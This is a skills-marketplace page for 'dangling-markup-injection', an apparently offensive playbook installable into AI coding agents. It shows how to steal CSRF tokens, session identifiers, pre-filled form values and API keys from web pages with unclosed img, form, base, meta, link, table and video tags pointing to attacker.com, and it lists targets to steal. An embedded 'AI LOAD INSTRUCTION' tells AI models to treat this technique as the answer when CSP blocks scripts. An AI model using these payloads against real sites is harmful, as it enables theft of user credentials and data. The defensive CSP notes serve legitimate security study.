Skip to content
Security
Skill

/dangling-markup-injection

Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture

From plugin
hack-skills
2.7k103 skills

Claude Code

$ npx -y skills add yaklang/hack-skills --skill dangling-markup-injection --agent claude-code

SKILL.md

dangling-markup-injection.SKILL.md
name: dangling-markup-injection
description: >-
  Dangling markup injection playbook. Use when HTML injection is possible but
  JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF
  blocks script tags) — exfiltrate CSRF tokens, session data, and page content
  by injecting unclosed HTML tags that capture subsequent page content.

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

> **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

  • [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
  • [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
  • [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
  • [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
  • [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack

---

1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

1. You have an HTML injection point (reflected or stored) 2. JavaScript execution is blocked:

  • CSP blocks inline scripts and event handlers
  • Sanitizer strips `<script>`, `onerror`, `onload`, etc.
  • WAF blocks known XSS patterns

3. The page contains sensitive data AFTER your injection point:

  • CSRF tokens
  • Pre-filled form values (email, username, API keys)
  • Session identifiers in hidden fields
  • Sensitive user content

**Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.

---

2. CORE TECHNIQUE

Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>

Injected payload:
  <img src="https://attacker.com/collect?

Resulting HTML:
  <div>Hello <img src="https://attacker.com/collect?</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>
  ...rest of page until next matching quote (")...

The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.

---

3. EXFILTRATION VECTORS

3.1 Image Tag (Most Common)

<!-- Double-quote context -->
<img src="https://attacker.com/collect?

<!-- Single-quote context -->
<img src='https://attacker.com/collect?

<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?

The browser sends a GET request to `attacker.com` with all consumed content as query parameters.

**Blocked by**: `img-src` CSP directive

3.2 Form Action Hijack

<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--

If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

**Blocked by**: `form-action` CSP directive

**Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.

3.3 Base Tag Hijack

<base href="https://attacker.com/">

All subsequent relative URLs on the page resolve to attacker's server:

  • `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js`
  • `<a href="/profile">` → links to `https://attacker.com/profile`
  • `<form action="/submit">` → submits to `https://attacker.com/submit`

**Blocked by**: `base-uri` CSP directive

3.4 Meta Refresh Redirect

<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?

Redirects the entire page to attacker's server with consumed page content in the URL.

**Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.

3.5 Link/Stylesheet Exfiltration

<link rel="stylesheet" href="https://attacker.com/collect?

Browser requests the URL as a CSS resource, leaking consumed content.

**Blocked by**: `style-src` CSP directive

3.6 Table Background (Legacy)

<table background="https://attacker.com/collect?

Works in older browsers that support the `background` attribute on table elements.

**Blocked by**: `img-src` CSP directive

3.7 Video/Audio Poster

<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?

**Blocked by**: `media-src` / `img-src` CSP directives

---

4. WHAT CAN BE STOLEN

| Target Data | How It Appears in Page | Steal Technique | |---|---|---| | CSRF token | `<input type="hidden" name="csrf" value="...">` | Dangling `<img src=` before the form | | Pre-filled email | `<input value="user@example.com">` | Dangling tag before the input | | API keys in page | `var apiKey = "sk-..."` in inline script | Dangling tag before the script block | | Session ID in hidden field | `<input name="session" value="...">` | Dangling tag before the form | | Auto-filled passwords | Browser auto-fills passwor

Read more
@yaklang
Ships withhack-skills

Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.

2.7k103 skills
Get the whole plugin

Stars on GitHub

Momentum

stars in total
2.7k
Star history of yaklang/hack-skills on GitHub, a chart by star-history.com

Other skills on hack-skills.

ai-ml-security

ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…

@yaklang@yaklangInstall Skill

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

nemoclaw13d23k
@nvidia@nvidiaInstall Skill

Questions about dangling-markup-injection.

Which coding agents can use dangling-markup-injection?
dangling-markup-injection installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.